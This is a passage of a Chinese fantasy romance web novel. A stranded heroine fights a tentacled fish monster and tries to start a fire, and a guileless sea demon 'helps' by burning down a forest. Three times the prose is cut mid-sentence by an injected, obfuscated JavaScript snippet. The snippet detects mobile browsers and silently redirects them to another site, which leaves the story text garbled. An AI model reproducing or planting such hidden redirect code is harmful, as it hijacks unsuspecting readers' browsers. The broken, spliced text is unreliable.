她流落到这上不接天、下不接地的海岛上已经三天了,这三天的生活她觉得不配叫生活,只配叫活着。起居用具、衣裳鞋袜,一概皆无,叶尘音用仙器给自己治完了伤,就每天去海边搜检一圈,希望能捡到船队沉没之后漂过来的辎重。
第一天,海上烟涛微茫,她沿着海岸走了一圈,半点物资的影子也没看见。于是她搜罗了一帮螺壳贝壳,锅碗瓢盆这就算是有了;
到第二天,有了新的收获,她在海滩上找到了一件仙家兵刃——是柄特制的匕首,削金断石不在话下,原本是他们打算用以剔取妖龙筋的武器。
叶尘音精神一振,这匕首虽然不能解她燃眉之急,但胜在不用使灵气,留着防身正好。何况有一就有二,它能漂过来,说明他们沉船的地方的确离这海岛不太远,她迟早能在海滩上捡到点其他东西。
感谢前队友们的馈赠!
叶尘音欢欣雀跃地将它收起来,期待第三天能找到点立刻就能用上的物件。
可惜她的好运气似乎没持续到第三天。晨光乍现的时候,她一蹦一跳地来到海边,专心致志地搜索到午后,竟只捡到了船体的些许残片。
那破船在海水里已经泡成了朽木,唯一的用途只剩下晒干了当劈柴,还没有她在树林里捡的好使。
至于路过的船队嘛,更是连个影子都没有。也不知道这到底是个什么山野之地,反正这三天比对下来,对不上海图上已知的任何一个岛。
倒是物产十分丰富,叶尘音少许摘了点草药,只吃了一天,伤就基本好全了,效用几乎堪比昆仑的仙药。
不会真是什么洞天福地吧?
叶尘音心里犯着嘀咕,从袖子里摸出几枚野果,擦干净,囫囵往嘴里一塞。一枚野果吞下去,她感觉一股张牙舞爪的酸味从舌根一路扎进胃底,不见得充饥,倒挺开胃,烧鸡、烤鱼、小笼包在脑子里走马灯似的过了一遍,一时间百爪挠心。
她龇牙咧嘴地想:呸,洞天福地的果子哪有这么酸的!
缺起居用具也就算了,唯独就是这吃的她受不了。她已经靠林间的酸果子撑了三天了,吃得满肚子酸水,怀疑自己即将被酿成一坛怨气冲天的醋。
必须改善伙食!立刻,现在,多一天都不能等!
叶尘音循着流入大海的小河,脚步轻快地往回走。这海岛上不光有珍奇草药,还有不少本来不该长在海上的草木,估摸着是被人强行薅来的。
草木们不止能用来治伤,拿来调味也很不错,叶尘音甚至在岛上找到了浮椒。这东西来自西域,在人间是价比黄金的稀罕物,然而在这海岛上就随意地长在路边,也没有人管。
有了浮椒,她一身厨艺就算有了用武之地,今天就能吃点好的。
她坠了一次海,暂且还没有胆子再踏足海域,遂决定先对这条安静的小河下手。河水粼粼澄澈,水下鱼虾游弋的影子清晰可见。
这要是不下嘴,岂不是暴殄天物?
叶尘音在水里兴致勃勃地一通折腾。一刻钟以后,她左手多了两只大虾,右手拎着一条鱼,大获全胜地趟水上岸,自觉这摸鱼的本领越发炉火纯青。
“今天吃烤鱼吧,”她期待地想,嘴里也欢快地哼唱起了她烤鱼的秘方,“浮椒~两钱~茱萸~”
“茱萸”的最后一个字破了音,走调成了悬崖勒马的动静,长长的一个“吁——”
她一个趔趄,稳住了身形,试着又抬了抬脚,感觉脚底下重若千钧。
什么东西?
叶尘音警觉地低下头,发现自己脚踝上缠了一截触手。这触手想必是看出了她要走,骤然发力勒紧了她,连拖带拽地将她往河底带,想来是个水生妖兽。
不管是什么品种,看着绝不是个友善的动物,叶尘音二话不说,掏出昨天才捡的匕首,毫不留情地给它来了一刀。
匕首的锋利程度甚至还超出了她的想象,刀刃所到之处皮开骨断,腥黑的血溅了她一手,黏稠滑腻,像湿泥一样地往下流。
好一柄神兵,不愧是能破开龙鳞的利器!
触手好似发出了无声的惨叫,抽搐着松开了她。叶尘音顺势挣脱了,头也不回地往山洞飞奔。
大地轰然震动。
叶尘音才跑出去两步,就被地震掀翻在地,凭着敏锐的直觉急速打了个滚。眼角余光见着一片飞溅的砂石,是一条手臂粗的触手钢鞭似的抽打在身边,竟掀起了一小块草皮。
若是落在身上,不消说,她肯定会死得很好看。
叶尘音一翻身爬起来,看清水中的情形时,一股寒气顺着脊梁骨窜到脖颈——原本清澈的河水已经被搅成了一锅粥底,黝黑的河床竟地动山摇站起了身,现出了真身本相。
那竟然是一只一人多高的鱼怪!
连水底嶙峋的黑石也接二连三地挥舞起来,那居然是无数条触手,集体随它现了形。“八爪鱼”已经不足以形容它了,要不是它这形象实在难以入眼,怕是得尊称它一声“千手观音”。
敢情她刚才在水里抓鱼时,一直踩在这“千手观音”身上!
叶尘音心里有了数,她在昆仑居住多年,对世上的妖怪多少都有点了解。这种鱼怪学名叫做“千手石鱼”,“石”这个字不光是指它的拟态,也是在说它的鳞甲坚如磐石,刀枪不入,唯独怕火。
要不是她这匕首来历不凡,刚才那一刀恐怕顶多能给它留个白印。
但这不是浅水河里才有的物种吗,谁这么有品,这种东西也往海岛上养?
“等一等,我错了!”叶尘音没再逃跑,她就地一缩,蜷到了一块大石头后面,灰头土脸地讨饶,“我不是故意的。我下次一定绕着你走,放过我行不行……”
石鱼呼啸着一爪拍碎了她藏身的石头,可见不行。
叶尘音顶着无数暴起的沙砾,趁这机会稳准狠地又捅了它一刀,顺势又滚到了一棵花树后躲避。
她眼睫轻轻一眨,眨掉了碎石擦破额头时流进眼里的血,露出了眼底近乎森然的战意。她此刻几乎连头发丝都进入了战斗状态,也就不再需要劳动嘴皮子壮胆,全身都像捕猎的野兽似的紧绷着,只有左手还缩在袖口里一动不动。
千手石鱼好歹也是河中一霸,短短片刻间,竟被这么个一碰就碎的凡女连着刺伤了两节腕足,那暴怒可想而知。它发出了一声超出音域的咆哮,人耳根
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524536|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本不能听闻,唯有树木草叶跟着沙沙大响,好像一声愤怒的和音。
七八条触手涌过来,卷住了叶尘音藏身的花树,发狠地往上一拔。
只一瞬,大树连根而起,夹着泥土的根须遮天蔽日,叶尘音几乎觉得天黑下去了片刻。
好一出《倒拔垂杨柳》,这是她免费能观赏的吗?
叶尘音感觉不行,得给人家付点打赏。她毫不迟疑地探出左手,腕上的铁手环赤光大盛,一道雷电应声而下,当当正正地劈在大树繁茂的树冠上。
仙器的威力非同凡响,顷刻间,整棵树都烧成了一个熊熊燃烧的火球。天火顺着那截触手,劈头盖脸地朝水中的鱼怪扑下去。
鱼怪好似又发出了一声嚎叫,根据草木们的和声判断,这次应该是一声惨号。
叶尘音面无表情地往烈火里又补了一记雷击。别人都是火上浇油,她在这里火上添雷,威力更是无与伦比,震彻天地的爆破声几乎炸出了宇宙初开的动静。
她眼睛一眨不眨,眼底被刺眼的亮光扎出了一层反光的泪水,于是创世的雷与火就好像在她的眼瞳里翻滚动荡。
直到亲眼看着那威风的怪鱼彻底被电光与火光吞没,她才脱力地躺倒在地。
太阳金白的一团,仍旧无动于衷地高悬中天,这一番惊心动魄,其实只持续了片刻工夫。
叶尘音瘫在地上,大口呼吸着大火之后滚烫的空气,足足缓了一刻钟,发黑的视野才总算勉强恢复。
她吃力地爬起身,捡起滚落在地的匕首,心想我不能白遭这一场惊吓,死鱼怪总得给我留下点什么吧?
还真有发现,一截白色的衣角轻飘飘地荡进她眼里。
叶尘音眼角一抽,抬起头,果然是那三天没见的妖怪少年。他懒洋洋地坐在横生的一根桃花枝上,正饶有兴味地盯着她看。
烂漫的桃花开在他衣袍边,几可入画……倘若他脚下没有这一地狼藉血污的话。
也不知道他来了多久,看见了多少,叶尘音本能地想把匕首往袖口里藏。但她忍住了,还讨好地朝妖怪笑了笑。
“别笑了。”妖怪从花枝上一跃而下,颇为嫌弃地说道,“血糊糊的笑得真难看。”
叶尘音这才想起自己满脸血的尊容,忙踅摸着四处找水——鱼怪出没的小河就算了,她有点阴影。
妖怪平伸出手,手上凝聚出了一个水团。他充分地吸收了上次只想困住她,却一不小心差点把她弄死的经验教训,水团只悬停在手心,等她自己来取用。
画面虽然有点怪,但叶尘音也没挑剔,就着这个水团把脸洗了。
水里似乎还有药性,她洗了几下,那些碎石割出来的伤口已经不再痛了。
挺好,看来没有毁容的风险。
难得此妖干了一件人事,叶尘音毫不吝惜地往外撒了致死量的甜言蜜语,希望他再接再厉。
妖怪被她哄得耳朵都红了,眼神四处乱飘。目光游移到她手上时,他眼睛一亮,立刻抓住了这个新话题:“你的刀不错。”
叶尘音:“……”
多谢赞美,但大可不必——这是他们打算用来猎龙的刀!
正经是一件猎妖的装备,他注意什么不好,偏偏注意到这个?
妖怪朝她一伸手,“我能看看吗?”
……她能说不吗?
5. 深山洞
“是吧?我也觉得不错。”叶尘音若无其事地笑着,任凭妖怪翻来覆去地打量那柄匕首,“才捡到,就用上了,幸亏刚才有它。”
妖怪抬眸看了她一眼,“捡?”
“对啊。”叶尘音不动声色,撇清自己和这猎龙利器之间的关系,“昨天在海边捡到的。我身上的仙器快不能用了,就想着得有把刀防身……也不止是防身,拿它切切果子、砍点树枝什么的,都挺好用,能省很多力气。”
光撇清关系还不算,她话里话外地暗示自己有合理的理由需要这把刀,心里却没抱什么希望:“他听得懂吗?”
他要是听不懂,不肯把刀还她……那也没办法,一把刀怎么也没有她的好身份重要。
来日方长,以后总有机会把刀要回来的吧?
还好,妖怪不知道是听懂了她的暗示,还是今天格外通了些人性,他只看了一会,就将匕首递还给她,叮嘱道:“收好。”
他说完,微微一顿,也许是看她没有立刻收起匕首,担心她拿着珍珠当鱼目,还特意多解释了一句,“不是什么刀都能刺伤千爪鱼的。”
“千爪鱼”?看来是妖怪们对千手石鱼的朴素称呼。
叶尘音没立刻收起匕首,其实是怕在妖怪面前显得太急切,会露了相。没料到得了这么两句叮嘱,一时间心情倒有点复杂。
但人设不能崩,她当即作出一副捡到宝贝的欢欣雀跃状,将匕首妥帖地藏进了袖子里。
她随口问道:“你什么时候来的?”
“你还在海边的时候。”
叶尘音心里一沉,脸上却只露出了一点惊讶,“你一直都能看到我吗?”
他要真的一直都能看到她,那就麻烦了,别说她在山洞里换衣服的隐私问题,她这猎龙的秘密该怎么守住?
妖怪摇摇头,“我没有天眼。”
叶尘音回头往她来的方向望了一眼。凡人的肉眼已经看不清海滩上的情形了,但还能看见模糊的海岸线。妖怪耳聪目明,能看见她倒也说得过去。
何况这妖怪虽然能打,但一根筋,看着也没进化出骗人的技能。
叶尘音这才放下心,抱怨道:“在一无所知的时候,被人从背后盯着看,很吓人的好吗?你下次再出现,能不能知会一声?”
妖怪歪歪头,微微睁大了眼睛。
叶尘音毫无障碍地读懂了他这个表情的意思——这里是他的地盘,他想看看自己地盘上养的小动物们,这不是自然而然的事吗,怎么也得另行通知?
叶尘音毫不退让地盯回去。她有她的秘密,可不能让这妖怪搞突袭。
妖怪让步了,乖乖地答应了一声,“哦。”
希望他说到做到。
叶尘音松了口气,又忍不住磨了磨牙——照这么说,死妖怪等于是一直坐在树上,拿她和石鱼搏斗当了出戏看。她的仙器本来就没剩多少灵气了,刚才为了保证能一举击杀怪鱼,她一点都不敢省,又消耗了好多。
她知道妖怪没那个搭把手的义务,但想起来她给妖怪治伤还花了不少灵气,还是难免有点上火。
不帮忙就算了,死妖怪现在还有心思盯着她笑!
“为什么这么看我?”叶尘音狐疑地摸了摸自己的脸,“哪里我没弄干净吗?”
妖怪乍然回过神来似的,别开眼,不大自在地说道:“没有。”
他其实是在看她——叶尘音今天没穿那累赘的大衣裳,只穿了里头的水红单衣,腰一束,长发随意一挽,头上只点缀了两只花蕊似的小金簪,像一枝亭亭的花。
头一天见她的时候,他觉得她的形象夸张怪异,满脸粉墨,别说吃了,看都不太想看她。如今打理整齐了,他才发现这女孩竟然其实挺好看。
以他的见识,也说不上来好看在哪,就觉得她整个人好像十分柔软,花似的清甜。
这么看,她没有毒了,也不扎嘴了。要不是手腕上那枚黑漆漆的铁手环仍然硌牙,她就是一道色香俱全的小点心。
心动,有一点想吃。
“只可惜还是没有灵气。”他颇为遗憾地想,“不吃她了,吃点别的吧。”
他转眼朝已死的鱼怪看去。管他什么刀枪不入的石鱼,在交击的雷火之下它也得变成烤鱼,油还挺多,从焦糊味里透出一股诱人的肉香。叶尘音本来就没吃饱,闻见了这股味,竟然吞了吞口水。
就是这鱼肉咬不动,没法吃,还有毒。
妖怪蹲下身,伸指头戳了戳它,叹道:“真的死了。”
语气中显然有一股子挥之不去的惋惜。
叶尘音嘴角一抽,心说:这千手石鱼不会真是他养的吧?
她怕不是不小心宰了人家的宠物?
不过话说回来……刚才她杀完鱼,他还给她弄洗脸水,和她讨论匕首呢。可见就算这怪鱼是他养的,和“宠”这个字也扯不上关系。
她试探着问道:“这是你养的啊?”
“嗯,”妖怪无所谓地说道,“很少见的,养它五六年了。”
不好,养了多年的稀有宠物!
“先说好,我可不赔。”叶尘音飞快地说道,“虽说按照公序良俗,我确实损害了你的私人财物,但那也是你的财物袭击我在先!还差点对我造成了人身伤害。这要是掰扯起来,咱俩谁赔谁还不好说呢。不如一笔勾销,就当我赔过你了,你也赔过我了,怎么样?”
妖怪被她这一通飞速的“赔是不赔”绕晕了,满脸茫然,一头毛线。
脑子里回放了好几回,他才费力地从其中提取出了几个重要的关键词,“我陪你,你也陪我?”
叶尘音郑重点头,真诚的小眼神望着他。
妖怪微笑起来,“好啊。”
他回答得堪称温柔,温柔得堪比林间的春风,要是没有筋骨断裂的背景音,那就更好了——他正在徒手撕千手石鱼的腕足。
石鱼看来不太适合大火猛烤,表皮都焦糊了,里头还是鲜活的血肉。他这么暴力撕开,血就飞溅到他脸上,给这黑白色的人添了一点猩红的艳色。
叶尘音看得眼皮子狂跳,心里尖叫:什么意思,什么意思!
他这是杀鸡儆猴,还是想剔骨拆肉按斤跟她算钱?
都不是,妖怪把那截撕下来的腕足放进了自己的嘴里,咬了一口。
叶尘音眼皮跳得更凶了,赶紧出言制止:“哎,有毒!”
她说晚了,妖怪牙口甚好,腕足被他一口啃掉了一小半。他吃起东西来一身凶残的妖态,但居然并不显得粗野,可能因为长得好,还能让她看出点本色的风流相。
“这算什么毒。”他像吃糖葫芦似的吃完了一段触手,才抽空回答叶尘音的话,那唇角沾着怪鱼的血,懒洋洋地露出了一个妖红的笑容,“不过,你确实不能吃。”
叶尘音一阵糟心,她能吃的东西已经在刚才的激战中被打成渣了。
幸好妖怪又补充道:“我带了你能吃的东西。”
不早说,原来是投喂!
叶尘音换上了一副殷勤的笑脸,引着妖怪回到了自己暂居的山洞里。
这三天她一刻也没闲着,已经将这个暂居的山洞收拾得有模有样了。洞口附近她就近取材,用树藤编了个简陋的藤梯,还做了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524537|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个收放自如的扣。用不着妖怪带她,她现在自己也能随意出入。
妖怪头一回见到这人工雕琢的东西,颇感兴趣,亲自爬了一回,问:“怎么想到做这个?”
“这话问的,因为我每天都得出去找东西吃啊。”叶尘音轻巧地循着藤梯翻了上去,“我总不能每天出门都靠攀岩吧,那不是要累死我?”
妖怪“哦”了声。叶尘音从中听出了一丝获取新知识的喜悦,他好像第一次听说人每天都得吃饭似的。
奇怪。他对人的了解比她以为的还要贫乏,许多常识都一无所知;但说些浅近的人话却毫不为难,像是和人朝夕相处地生活过一样。
山洞里头叶尘音也打理得很整齐了——她的大衣裳挂在山洞一角突出的石头上,角落里拿一堆稻草铺了张简易的床榻;床榻对面是一块大青石,她费了点力气把它挪到了这里,贝壳碗碟整齐地码放着,是她给自己找的餐案。
叶尘音一进洞,就往大青石边上奔去。她本来在那里升了个小火堆,是她用仙器留下的火种,照明和取暖都靠它。
只是这火种不好维系,她头几天小心翼翼地照顾着,随时防风适度添柴,好不容易没熄灭。今天她遭遇了千手石鱼,又和妖怪多聊了几句,回来晚了些,那点小火苗就寿终正寝了,只给她留下一堆黑灰。
叶尘音惋惜地叹了口气。
妖怪四下里打量了一圈,眼睛微微睁圆了,流露出一丝惊奇。
他自觉地觉醒了对人族生活的敬畏心,目视叶尘音,等着她安排吃的东西该放在哪。
“看不出来么,”叶尘音惊讶地想,“他居然还挺体贴的?”
她指了指那大青石餐案,自己蹲在地上拨弄地上的灰堆。木柴有些潮,火灭之后留下的味道仍有些呛人,不过毕竟是海岛上,柴潮湿一点也只好将就。
一阵夹杂着花香的海风气息靠近,妖怪蹲在了她身边,端详着小灰堆,目光十分好奇,但不敢随便上手碰。
“没什么,只是个柴堆。”叶尘音解释说,“本来是用它留火种的,可惜今天我回来得晚了些,火种还是灭了。我还得想想怎么办……”
她那火种是用仙器手环点的,但今天和千手石鱼一场搏命,手环只剩下最后一丝灵气了。仙器的灵光黯淡得几乎看不见,像一层淡淡的浮尘,吹一口气就会彻底熄灭。
最后这点灵气必须用在性命攸关的时候,再用来引雷生火就太浪费了,她得另外想办法。
但也不能放着妖怪在这里不管,叶尘音想了想,决定对他客气一点。
她道:“本来你难得来找我一次,我该好好招待你的,但恰好有别的要紧事……我也不知道我什么时候能收拾完。要不,我们明天再见?”
“为什么会有比招待我更要紧的事?”
“没办法,”叶尘音叹了口气,“我也不想啊……”
“哦,”妖怪说,“不想就不要管了,还是招待我吧。”
叶尘音:“……”
劳驾,这说的是人话吗?
她往洞口又望了一眼。这山洞曲折幽深,即便是白天,从洞口照进来的光也昏暗,她现在就得用力看,才能看清妖怪的脸。到了晚上,没有火种,更是伸手不见五指。她什么都不怕,唯独怕黑,点火的事没法拖。
偏偏死妖怪一脸天真地戳在这里不放她走,三言两语还说不通……
叶尘音小声嘀咕,“你可做个人吧……”
她也没敢说出声,几乎是自言自语,但妖怪耳朵尖,一个字不差地听见了。
他幽幽地掀起眼睫盯住她,“我不像人吗?”
6. 林中火
叶尘音打了个激灵,一股微妙的冷意从脊梁骨直窜上来,她抬起头,迎上了妖怪的眼睛。
昏暗的光线里,那双眼睛冷幽幽的,像是捕猎的野兽。
怎么刚才那句玩笑话惹着他了吗?
“这么说,你确实不是人了?”叶尘音头皮发麻,话却来得挺快,她若无其事地一笑,连个磕绊都不打,“看来我猜对了。看你的模样,像海上隐居的仙人,可是行为举止嘛,又像是海里的妖怪。你是哪一个?”
妖怪被她这“直截了当”的提问问得沉默了片刻,反问,“我像海上的仙人,和海里的妖怪?”
“到底是哪个?”叶尘音笑问,“你总不能既是仙人又是妖怪吧,没有这样的物种。”
“……好吧,”妖怪想了想,终于承认说,“我是海里的妖怪。”
叶尘音狂跳的心脏这才慢慢平稳下来,她不动声色地松了口气。
她倒知道有不少妖怪忌讳被人戳穿真身,已经尽量避开这个话题不谈了,没想到随口的一句玩笑话也不安全。还好她演技好,装傻装得到位,算是糊弄过去了。
歪打正着,以后两人的身份就算彻底坦白了,她说话时再也不用绕着这个话题走。
要命的问题解决了,接下来该解决的,就是眼前不要命但紧急的事。
妖怪倒比她想象中的好说话,叶尘音好言好语地解释了几句“是要紧事,不能不管”,就得以脱出身。
叶尘音在岛上四处踅摸了一圈,捡回来一堆树皮和木棍,也不回山洞,就在外面找了个开阔的地方,拿硬木棍在树皮上磨。
仙器是不能用了,还有凡人的古老智慧呢,虽然确实……比较原始。
原始就意味着节省不了人力,她磨了有半刻钟工夫,终于获得了斐然的成果——有她手掌一般薄厚的树皮,被她硬生生地钻出了个洞。
木是钻得挺成功,至于火么,脑子里倒是挺上火,就没有一星半点能溅出来……
妖怪不知道什么时候又跟过来了,仍旧坐在不远处的一棵花树上,撑着头好整以暇地看着她折腾。
叶尘音忙中抬起头,瞥了妖怪一眼,恼火地磨了磨牙。
这厮袖手旁观也就算了,可看她的那表情……怎么说呢,感觉像是个闲极无聊的小孩在围观蚂蚁搬家,就图个热闹。
“蚂蚁”很气,不肯善罢甘休,决定拉他下水。
叶尘音招了招手,“帮我个忙?”
妖怪应声飘落,背着手站在她面前,等着看她想干什么。
叶尘音分了块树皮给他,让他模仿自己刚才的动作试一试。
妖怪还以为这是人族的什么游戏,兴趣盎然地上了手,给她表演了一个大力出奇迹——一下戳出个洞还不算完,树皮都禁不住他的蹂躏,直接从中裂成了两半。
叶尘音:“……”
好吧,人族古老的技术活还是不能指望一只妖怪。
她叹了口气,抬起头环顾一圈。四面带着潮气的海风无声吹拂,昨晚又是一场连绵的夜雨,木头里都是没干透的水汽,想靠人力点起火来,是不太容易。
人力有所不及,难道终于还是只能靠仙器吗?
叶尘音还不太甘心,想再试试,可握着硬木棍的手都已经累得发抖,汗水浸透了后背的衣裳。手还被木棍磨破了皮,火辣辣地疼,好像被严苛的现实毫不留情地打了一顿手心。
她蹲下来,蘸着磨出来的那些黑色的粉末,在地上一笔一划地勾了个笑脸。
她手上已经一点力气也没有了,于是画出来的这个笑脸也挺狰狞,歪瓜裂枣的,笑得十分有碍观瞻。又丑又愚蠢,既不快乐也不友善,甚至嘲讽味儿十足,不像是在安慰她,倒像在火上浇油。
叶尘音惨不忍睹地端详了一会,伸出指头抹了抹,强行给它整了个容,变成了一张傻笑的鬼脸。
鬼脸笑得挺有感染力,画它的人也忍俊不禁。
就在她乱涂乱画的这点工夫,妖怪已经用木棍把剩下的树皮搓成了各种形状。有腰斩的,有砍头的,有五马分尸的,还有千刀万剐的……总之他凭着一己之力,弄出了数百代人族发明的各种死法。
叶尘音看了一眼,悠悠地说道:“现在就缺个火葬场了。”
“?”
“哎,我其实是想生火。”叶尘音又累又饿,肚子咕咕直叫,干脆就坐到了地上,解释道,“我听说用这样钻木的法子也能生出火来……但这个还是太难弄了,不适合在这里用。可我一时半刻也想不到别的办法了。”
妖怪耳朵尖,听见了她肚子里发出的动静,给她递来一条鱼。好大一条,鲜活肥美,尾巴还在水珠四溅地扑棱。
哎?
看来只要摸清楚了死妖怪的逆鳞,他也挺好相处的……
妖怪问她:“为什么要生火?”
“这话问的,因为我需要啊。”叶尘音掏出匕首,手上给鱼开膛破肚,不耽误嘴里解释,“山洞里要照明,晚上还要取暖,我还想吃点热乎饭……我总不能一直吃果子、吃生鱼吧。”
她手这会儿还在抖,平时两句话工夫就能弄干净的鱼,今天费了半天劲才收拾完,又想起化为泡影的烤鱼,简直悲从中来。
“唉,鱼啊鱼,你本来应该成为一条烤鱼。”叶尘音捧着鱼情真意切地叹惋道,“淋上枸橼的汁液,烤到两面焦黄,再撒上茱萸、盐粒和浮椒。要是能再刷一点蜜糖,那就更好了……”
她把自己给说饿了,感觉好像已经看到了火光里的烤鱼,正在幻象里被烤得滋滋作响,还冒出一股令人口舌生津的香气。
光溜溜的鱼瞪着一双死鱼眼,和她面面相觑,人和鱼之间流动着一股遗憾的气息。
妖怪在旁边幽幽地说道:“你对着它许这么多愿,是指望它答应你吗?”
叶尘音:“……”
妖怪微微抬起了下巴,“爱吃不吃。”
……得,刚才那“好相处”的妖怪果然是她的错觉。
“这不是没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524538|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火种吗。”叶尘音叹口气,终于接受了现实,切下一小片鱼肉,屏住气送进嘴里。
她其实不爱吃生鱼,因为幼年时曾经离乱,吃生鱼吃出了一场大病,生死之间的记忆刻骨铭心。后来到了北昆仑,哪怕是那种切得近乎透明、异常精美的鱼脍,她也不乐意吃。
不过这鱼肉倒不难吃,味道十分鲜美,看来海岛上是有不少好东西。
“有了火种,你就可以吃你想吃的东西了?”
“嗯,要是能有一些香料就更好了,最重要的还是火。”鱼肉落进肚中,一股暖意涌上来,叶尘音感觉恢复了一点力气,懒洋洋地答道,“人要想过日子,非得有火不可,人们年年都祭祀那位留下火种的祖先呢……哦,对你们妖怪来说也许不一样。”
妖怪“哦”了声,慢条斯理地总结道:“你需要用火照明、取暖、吃饭。你需要很多火?”
叶尘音微微皱了下眉,直觉这话好像有些不对劲,但也说不上来哪里不妥。她吃了两口鱼,之前什么海滩上拾荒、杀千手石鱼、找树皮木枝取火,种种疲惫一起涌上来,这会儿连小手指头都不想动了,坐在石头上,眼皮都在打架。
她没有那个力气再和妖怪详细掰扯,就笼统地答应了一声:“嗯,算是吧。”
妖怪说:“好。”
等等,“好”是个什么意思?
叶尘音心里突地一跳,匆忙睁开眼睛,还没来得及说什么,就感到一股滚烫的热浪从背后扑过来,她那点困意顷刻间就被烤得无影无踪了。
她“蹭”一下跳起身,回身一看,简直不敢相信自己的眼睛。
只是眨眼之间,小半个林子都在熊熊燃烧,烈焰裹着滚滚浓烟冲天而起,林中噼噼啪啪,爆裂声不绝。栖身在花林里的鸟兽们不料天降大难,纷纷哀鸣着往外奔逃,一眼看去惊鸟四飞,群兽乱走,声势堪称壮观。
火焰还在汹涌着蔓延,顷刻间席卷了整片树林。虽然势不可挡,可这大火居然还挺讲究分寸,一点也不往他们这边烧,乖巧地停留在十步以外,连一点火星都不让它飘过来。
叶尘音瞠目结舌,机械地转过头,仿佛就地变成了一个没上够润滑油的傀儡。
妖怪已经收了神通,脸上还带着一点遗憾——林子里的什么桃树梨树倒是没什么,是他随手种的,后来就随便它们自己野蛮生长去了,就算烧了也无所谓。
但树林里好多鸟兽是他从外面带回来,养在海岛上玩的。还有不少花花草草,都不是海岛上能自然生长出来的品种,为了养活它们,他还在土里埋了灵石呢,这么烧掉好可惜。
不过她都说了这么多次“需要火”,那也没办法。
烧就烧了吧,以后他重新再养。
这么想着,他就把心里的那点遗憾压了下去,对上叶尘音的眼神,还朝她抬了抬下巴,露出了一个“够用了吧,快夸我”的死表情。
“……”
叶尘音默默捂住脸,不知道该用什么脸色面对这一切。
7. 倾盆雨
最后,到底是一场倾盆大雨压下了熊熊山火,滚烫的山风也跟着一同退却了。
叶尘音从头到脚又被雨水浇透了,她抹了一把脸,心里居然还有点庆幸:得亏今天只穿了单衣,浇湿了也不耽误她走动。
大火已经熄灭了,她小心地往树林里走,四处看看,感觉比自己更惨的还多得是——半片林子都被烧焦了,黑黢黢的枝干扭曲着指向天空,形容凄惨,好像有一肚子的冤情,急欲传达给上天。
树尚且如此,她没来得及收起的藤桥就更别说了,藤连一点灰烬都没剩下,只有熏黑的石块,凌乱地散落一地。
这一点工夫就能烧成这样,死妖怪放出来的八成不是凡火。
她越看越心痛,这是离她住处最近的一处林子,里面物产相当丰富,几天下来,她差不多把这片林子摸透了。哪儿有果子,哪儿有草药,哪儿能抓到鸟雀,她都记在了脑子里。
现在可好,全白记了,果子都被火烧成了渣,她挂在树下的自制捕鸟笼也没了。还有她之前意外发现的浮椒,价比千斤的香料,也没有防火的功效,化成了一地灰。
至于飞禽走兽们,遭完火烤,又遭水淹,尖锐鸣叫声响彻四野,叶尘音听不懂,但直觉骂得很脏。
骂得好,她支持多骂几句!
叶尘音回过头,又看了妖怪一眼。妖怪就陪在她身边,神情冷淡,微微抿着唇。发现了叶尘音的眼神,他还不太开心地盯回来一眼。
这眼神的含义依然很好理解——“你到底想干什么?”
叶尘音心头忽然烧起了一团火,她直直地瞪着他。
从林间乍然起火到现在,虽说水深火热,但其实也就是片刻之间。一场水火交煎,来得突兀,去得仓促,随心所欲得简直像个玩笑,弄得从她这个活人到飞禽走兽们都格外狼狈,唯独对这妖怪没半点影响。
他素白的衣裳连一粒灰、一滴水都没沾,站在这一片黑灰的狼藉里,居然还被衬得格外风致卓然!
更别提什么始作俑者该有的自我反省……就看他现在那个眼神,他八成还觉得自己是超额满足了她的需要。至于这两个需要为什么这么自相矛盾,正该问她自己有没有个准主意呢。
有那么一瞬间,叶尘音想起了北昆仑驯兽的仙人。
散仙们都有神秘的“洞天”,那是一处与世隔绝的方寸之地,风霜雨雪,都在洞天主人一念之间。他们隔着一层琉璃罩,观赏灵兽们在此方世界里如何挣扎搏命,起心动念,它们就得从头再来。
如今这妖怪于她,和驯兽仙人之于灵兽,又有什么区别?
哦,倒也确实不一样——驯兽的仙人起码知道自己在干什么,可是这只妖怪,什么也不知道。
既然是不知者,当然也就没有怪罪他的道理。
他就这么用一双不谙世事的眼睛,居高临下地注视着她,再天真无知地拨弄她的一切……随便丢在岛上的一只宠物就能要了她的命,随手一指就能让她多日的努力清空重来,说起来,竟还是出于“好意”。
弄得她在这海岛上所有的殚精竭虑,都像演给小孩子的皮影戏,像一场过家家似的笑话……!
妖怪脸上神色变幻,从冷淡变成了诧异,从不满变成了困惑,甚至还显得有点慌张。
“你受伤了吗,”他无措地问,“为什么哭?”
叶尘音一愣,擦了擦脸,这才发觉自己脸上的水迹原来并不是没擦干净的雨痕。
